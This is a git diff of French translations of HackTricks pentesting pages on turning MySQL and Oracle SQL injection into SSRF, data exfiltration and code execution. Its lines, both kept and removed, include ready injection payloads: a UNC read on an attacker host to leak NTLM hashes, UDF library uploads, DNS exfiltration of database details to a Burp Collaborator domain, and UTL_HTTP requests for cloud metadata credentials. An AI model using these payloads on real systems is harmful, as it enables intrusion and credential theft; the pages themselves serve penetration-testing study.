[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md index 154937ffc..fe3986119 100644 --- a/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md +++ b/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md @@ -1,82 +1,53 @@ -# MySQL File priv à SSRF/RCE +# MySQL File priv to SSRF/RCE
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-### LOAD\_FILE/LOAD DATA/LOAD XML à SSRF +**Il s'agit d'un résumé des techniques MySQL/MariaDB/Percona provenant de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. -Chaque article sur l'exfiltration de données Out of Band SQL utilisera la fonction de chaîne `LOAD_FILE()` pour effectuer une requête réseau. La fonction elle-même a ses propres limitations basées sur le système d'exploitation sur lequel elle est exécutée et les paramètres avec lesquels la base de données a été démarrée. +### Demande de falsification côté serveur (SSRF) via les fonctions SQL -Par exemple, si la variable globale `secure_file_priv` n'était pas définie, [la valeur par défaut est définie sur `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), ce qui signifie que vous ne pouvez utiliser des fonctions comme `LOAD_FILE('nomdefichier')` ou `LOAD DATA [LOCAL] INFILE 'nomdefichier' INTO TABLE nomdetable` que pour lire des fichiers du répertoire `/var/lib/mysql-files/`. Pour pouvoir effectuer des lectures sur des fichiers en dehors de ce répertoire, l'option `secure_file_priv` doit être définie sur `""`, ce qui ne peut être fait qu'en mettant à jour le fichier de configuration de la base de données ou en passant le paramètre de démarrage `--secure_file_priv=""` au service de base de données. +Dans l'exploration de l'exfiltration de données hors bande SQL, la fonction `LOAD_FILE()` est couramment utilisée pour initier des requêtes réseau. Cependant, cette fonction est limitée par le système d'exploitation sur lequel elle opère et les configurations de démarrage de la base de données. -Néanmoins, dans les circonstances où `secure_file_priv` est défini sur `""`, nous devrions être capables de lire d'autres fichiers sur le système, en supposant que les permissions de lecture de fichiers et `file_priv` sont définis sur `Y` dans `mysql.user` pour l'utilisateur de la base de données actuelle. Cependant, la possibilité d'utiliser ces fonctions pour effectuer des appels réseau dépend beaucoup du système d'exploitation. Comme ces fonctions sont conçues uniquement pour lire des fichiers, les seuls appels réseau pertinents qui peuvent être effectués sont vers des chemins UNC sur des hôtes Windows, car [l'API Windows `CreateFileA` qui est appelée lors de l'accès à un fichier comprend les conventions de nommage UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file). +La variable globale `secure_file_priv`, si elle n'est pas définie, est par défaut `/var/lib/mysql-files/`, limitant l'accès aux fichiers à ce répertoire à moins d'être définie comme une chaîne vide (`""`). Ce réglage nécessite des modifications dans le fichier de configuration de la base de données ou les paramètres de démarrage. -Donc, si votre base de données cible fonctionne sur une machine Windows, la requête d'injection `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` [résulterait en la machine Windows envoyant des hachages NTLMv2 dans une tentative d'authentification avec le serveur contrôlé par l'attaquant `\\attackerserver.example.com`](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html). +Étant donné que `secure_file_priv` est désactivé (`""`), et en supposant que les autorisations de fichier et `file_priv` nécessaires sont accordées, les fichiers en dehors du répertoire désigné peuvent être lus. Cependant, la capacité de ces fonctions à effectuer des appels réseau dépend fortement du système d'exploitation. Sur les systèmes Windows, les appels réseau aux chemins UNC sont possibles en raison de la compréhension par le système d'exploitation des conventions de dénomination UNC, ce qui peut potentiellement conduire à l'exfiltration des hachages NTLMv2. -Cette falsification de requête côté serveur, bien qu'utile, est limitée au seul port TCP 445. Vous ne pouvez pas contrôler le numéro de port, mais pouvez lire des informations à partir de partages configurés avec des privilèges de lecture complets. De plus, comme cela a été démontré avec des recherches plus anciennes, vous pouvez utiliser cette capacité limitée de SSRF pour voler des hachages et les relayer pour obtenir des shells, donc c'est définitivement utile. +Cette méthode SSRF est limitée au port TCP 445 et ne permet pas la modification du numéro de port, bien qu'elle puisse être utilisée pour accéder à des partages avec des privilèges de lecture complets et, comme démontré dans des recherches antérieures, pour voler des hachages en vue d'une exploitation ultérieure. -### Fonctions Définies par l'Utilisateur pour RCE +### Exécution de code à distance (RCE) via les fonctions définies par l'utilisateur (UDF) -Une autre technique intéressante avec les bases de données MySQL est la capacité d'utiliser des Fonctions Définies par l'Utilisateur (UDF) présentes dans des fichiers de bibliothèques externes qui, si présents dans des emplacements spécifiques ou dans le $PATH du système, peuvent alors être accessibles depuis MySQL. +Les bases de données MySQL offrent l'utilisation de fonctions définies par l'utilisateur (UDF) à partir de fichiers de bibliothèque externes. Si ces bibliothèques sont accessibles dans des répertoires spécifiques ou dans le `$PATH` du système, elles peuvent être invoquées depuis MySQL. -Vous pourriez utiliser une Injection SQL pour **écrire une bibliothèque (`.so` ou `.dll`** selon que vous êtes sur Linux ou Windows), contenant une Fonction Définie par l'Utilisateur qui peut effectuer des requêtes réseau/HTTP, qui peut ensuite être invoquée par des requêtes supplémentaires. +Cette technique permet l'exécution de requêtes réseau/HTTP via une UDF, à condition que plusieurs conditions soient remplies, notamment l'accès en écriture au `@@plugin_dir`, `file_priv` défini sur `Y`, et `secure_file_priv` désactivé. -Cela a son propre ensemble de restrictions cependant. Selon la version de MySQL, que vous pouvez identifier avec `select @@version`, le répertoire d'où les plugins peuvent être chargés est restreint. MySQL en dessous de `v5.0.67` permettait de charger des fichiers de bibliothèque à partir du chemin système si la variable `plugin_dir` n'était pas définie. Cela a changé maintenant et les versions plus récentes ont la variable **`plugin_dir`** définie sur quelque chose comme `/usr/lib/mysql/plugin/`, qui est généralement possédé par root. +Par exemple, la bibliothèque `lib_mysqludf_sys` ou d'autres bibliothèques UDF permettant des requêtes HTTP peuvent être chargées pour effectuer une SSRF. Les bibliothèques doivent être transférées sur le serveur, ce qui peut être réalisé en encodant en hexadécimal ou en base64 le contenu de la bibliothèque, puis en l'écrivant dans le répertoire approprié. -En gros **pour que vous puissiez charger une bibliothèque personnalisée dans MySQL et appeler une fonction de la bibliothèque chargée via Injection SQL, vous auriez besoin** : +Le processus varie si le `@@plugin_dir` n'est pas inscriptible, en particulier pour les versions MySQL supérieures à `v5.0.67`. Dans de tels cas, des chemins alternatifs inscriptibles doivent être utilisés. -* de la capacité à **écrire à l'emplacement** spécifié dans **`@@plugin_dir`** via Injection SQL -* **`file_priv`** défini sur **`Y`** dans `mysql.user` pour l'utilisateur de la base de données actuelle -* **`secure_file_priv`** défini sur **`""`** afin que vous puissiez lire les octets bruts de la bibliothèque à partir d'un emplacement arbitraire comme le réseau ou un répertoire de téléchargements de fichiers dans une application web. - -En supposant que les conditions ci-dessus soient remplies, vous pouvez utiliser **l'approche classique de transférer la** [**bibliothèque UDF MySQL populaire `lib_mysqludf_sys`**](https://github.com/mysqludf/lib\_mysqludf\_sys) **au serveur de base de données**. Vous pourriez alors être capable de faire des requêtes de commandes du système d'exploitation comme `cURL` ou `powershell wget` pour effectuer du SSRF en utilisant la syntaxe - -`x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //` - -Il y a beaucoup d'autres fonctions déclarées dans cette bibliothèque, une analyse de celles-ci peut être vue [ici](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Si vous êtes paresseux comme moi, vous pouvez obtenir une copie de cette bibliothèque UDF, pour le système d'exploitation cible, à partir d'une installation metasploit depuis le répertoire `/usr/share/metasploit-framework/data/exploits/mysql/` et commencer. - -Alternativement, des bibliothèques UDF ont été créées pour fournir spécifiquement à la base de données la capacité de faire des requêtes HTTP. Vous pouvez utiliser [MySQL User-defined function (UDF) pour HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) pour que la base de données effectue des requêtes HTTP, en utilisant la syntaxe suivante - -`x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //` - -Vous pourriez également [créer votre propre UDF et l'utiliser pour l'exploitation postérieure également.](https://pure.security/simple-mysql-backdoor-using-user-defined-functions/) - -Dans tous les cas, vous devez transférer la bibliothèque au serveur de base de données. Vous pouvez le faire de plusieurs manières - -1. Utilisez la fonction de chaîne MySQL `hex()` ou quelque chose comme `xxd -p filename.so | tr -d '\n'` pour convertir le contenu de la bibliothèque en format hexadécimal, puis le déverser dans le répertoire `@@plugin_dir` en utilisant `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //` -2. Alternativement, convertissez le contenu de `filename.so` en base64 et utilisez `x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //` - -Si le `@@plugin_dir` n'est pas inscriptible, alors vous n'avez pas de chance si la version est supérieure à `v5.0.67`. Sinon, écrivez à un emplacement différent qui est dans le chemin et chargez la bibliothèque UDF à partir de là en utilisant - -* pour la bibliothèque `lib_mysqludf_sys` - `x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //` -* pour la bibliothèque `mysql-udf-http` - `x';create function http_get returns string soname 'mysql-udf-http.so'; -- //` - - -Pour automatiser cela, vous pouvez utiliser SQLMap qui prend en charge [l'utilisation de UDF personnalisés via l'option `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage). - -Pour les Injections SQL Aveugles, vous pourriez rediriger la sortie des fonctions UDF vers une table temporaire, puis lire les données de là ou utiliser [une requête DNS introduite dans une commande `sys_eval` ou `sys_exec` curl](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration). +L'automatisation de ces processus peut être facilitée par des outils tels que SQLMap, qui prend en charge l'injection UDF, et pour les injections SQL aveugles, la redirection de sortie ou les techniques de trafic de requêtes DNS peuvent être utilisées.
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/sql-injection/oracle-injection.md b/pentesting-web/sql-injection/oracle-injection.md index 97824220b..f1830710f 100644 --- a/pentesting-web/sql-injection/oracle-injection.md +++ b/pentesting-web/sql-injection/oracle-injection.md @@ -2,35 +2,37 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+**Servez une copie de cette publication à partir d'une machine à remonter le temps du post supprimé de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. + ## SSRF -Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais comme moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour faire d'autres SSRF/XSPA. +Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais comme moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA. -Installer Oracle peut être vraiment pénible, surtout si vous voulez configurer rapidement une instance pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a orienté vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large avec Docker. +Installer Oracle peut être vraiment douloureux, surtout si vous voulez configurer rapidement une instance pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large et Docker. -J'ai exécuté la commande docker avec le drapeau `--network="host"` afin de pouvoir simuler Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog. +J'ai exécuté la commande docker avec le drapeau `--network="host"` pour pouvoir imiter Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` -#### Paquets Oracle prenant en charge une spécification d'URL ou de nom d'hôte/numéro de port +#### Packages Oracle prenant en charge une URL ou une spécification Nom d'hôte/Numéro de port -Pour trouver des paquets et des fonctions qui prennent en charge une spécification d'hôte et de port, j'ai effectué une recherche Google sur la [Documentation en ligne de la base de données Oracle](https://docs.oracle.com/database/121/index.html). Plus précisément, +Afin de trouver des packages et des fonctions prenant en charge une spécification de nom d'hôte et de port, j'ai effectué une recherche sur Google dans la [Documentation en ligne d'Oracle Database](https://docs.oracle.com/database/121/index.html). Plus précisément, ``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` -La recherche a donné les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des communications sortantes) : +La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des requêtes sortantes sur le réseau) : * DBMS\_NETWORK\_ACL\_ADMIN * UTL\_SMTP @@ -47,19 +49,19 @@ La recherche a donné les résultats suivants (tous ne peuvent pas être utilis * DBMS\_STREAMS\_ADM * UTL\_HTTP -Cette recherche sommaire omet évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [autre emplacement](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être détournés pour effectuer des requêtes sortantes que j'aurais pu manquer. +Cette recherche sommaire omet évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être utilisés de manière abusive pour effectuer des requêtes sortantes que j'aurais pu manquer. -Dans tous les cas, examinons certains des packages que nous avons découverts et listés ci-dessus. +En tout cas, examinons certains des packages que nous avons découverts et énumérés ci-dessus. **DBMS\_LDAP.INIT** Le package `DBMS_LDAP` permet d'accéder aux données des serveurs LDAP. La fonction `init()` initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port en argument. -Cette fonction a été documentée auparavant pour montrer l'exfiltration de données via DNS, comme ci-dessous +Cette fonction a déjà été documentée pour montrer l'exfiltration de données via DNS, comme ci-dessous ``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` -Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez également l'utiliser comme un scanner de ports. +Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de ports également. Voici quelques exemples ``` @@ -68,13 +70,13 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` -Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé tandis qu'une valeur de session indique que le port est ouvert. +Une `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert. **UTL\_SMTP** -Le package `UTL_SMTP` est conçu pour envoyer des e-mails via SMTP. L'exemple fourni sur [le site de documentation Oracle montre comment vous pouvez utiliser ce package pour envoyer un email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Cependant, pour nous, ce qui est intéressant, c'est la capacité de fournir une spécification d'hôte et de port. +Le package `UTL_SMTP` est conçu pour l'envoi d'e-mails via SMTP. L'exemple fourni sur le [site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Pour nous, cependant, l'élément intéressant est la possibilité de spécifier un hôte et un port. -Un exemple rudimentaire est montré ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes +Un exemple rudimentaire est présenté ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes. ``` DECLARE c utl_smtp.connection; BEGIN @@ -88,13 +90,13 @@ BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); END; ``` -Un `ORA-29276: transfer timeout` indique que le port est ouvert mais aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: SMTP transient error: 421 Service not available` indique que le port est fermé. +Un `ORA-29276: délai de transfert dépassé` indique que le port est ouvert mais aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: erreur transitoire SMTP: 421 Service non disponible` indique que le port est fermé. **UTL\_TCP** -Le package `UTL_TCP` et ses procédures et fonctions permettent [une communication basée sur TCP/IP avec des services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). S'il est programmé pour un service spécifique, ce package peut facilement devenir une voie d'entrée dans le réseau ou effectuer des requêtes côté serveur complètes, car tous les aspects d'une connexion TCP/IP peuvent être contrôlés. +Le package `UTL_TCP` et ses procédures et fonctions permettent [la communication basée sur TCP/IP avec des services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accès au réseau ou effectuer des requêtes côté serveur complet car tous les aspects d'une connexion TCP/IP peuvent être contrôlés. -L'exemple [sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute afin de récupérer une page web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Nous pouvons le simplifier encore un peu et l'utiliser pour faire des requêtes à l'instance de métadonnées par exemple ou à un service TCP/IP arbitraire. +L'exemple [sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute pour récupérer une page web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Nous pouvons le simplifier un peu plus et l'utiliser pour effectuer des requêtes vers l'instance de métadonnées par exemple ou vers un service TCP/IP arbitraire. ``` set serveroutput on size 30000; SET SERVEROUTPUT ON @@ -134,32 +136,34 @@ END; utl_tcp.close_connection(c); END; ``` -**UTL\_HTTP et Requêtes Web** +Intéressant, en raison de la capacité à créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées de l'instance de tous les fournisseurs de cloud, car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP. -Peut-être la technique la plus commune et la plus documentée dans chaque tutoriel sur l'Injection SQL Oracle Out of Band est le [package `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP permet de réaliser des appels au protocole de transfert hypertexte (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.` +**UTL_HTTP et les requêtes Web** + +Peut-être la technique la plus courante et largement documentée dans tous les tutoriels sur l'injection SQL Oracle hors bande est le [package `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` -Vous pourriez également utiliser ceci pour effectuer un balayage de ports rudimentaire avec des requêtes telles que +Vous pouvez également utiliser ceci pour effectuer un balayage de ports rudimentaire avec des requêtes comme suit ``` select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` -Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` indique que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert. +Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` est un signe que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert. -Un autre package que j'ai utilisé par le passé avec un succès variable est la [méthode `GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL sous forme de [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; +Un autre package que j'ai utilisé dans le passé avec un succès varié est la méthode [`GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index a87981ad6..ac230e1a6 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -2,40 +2,38 @@
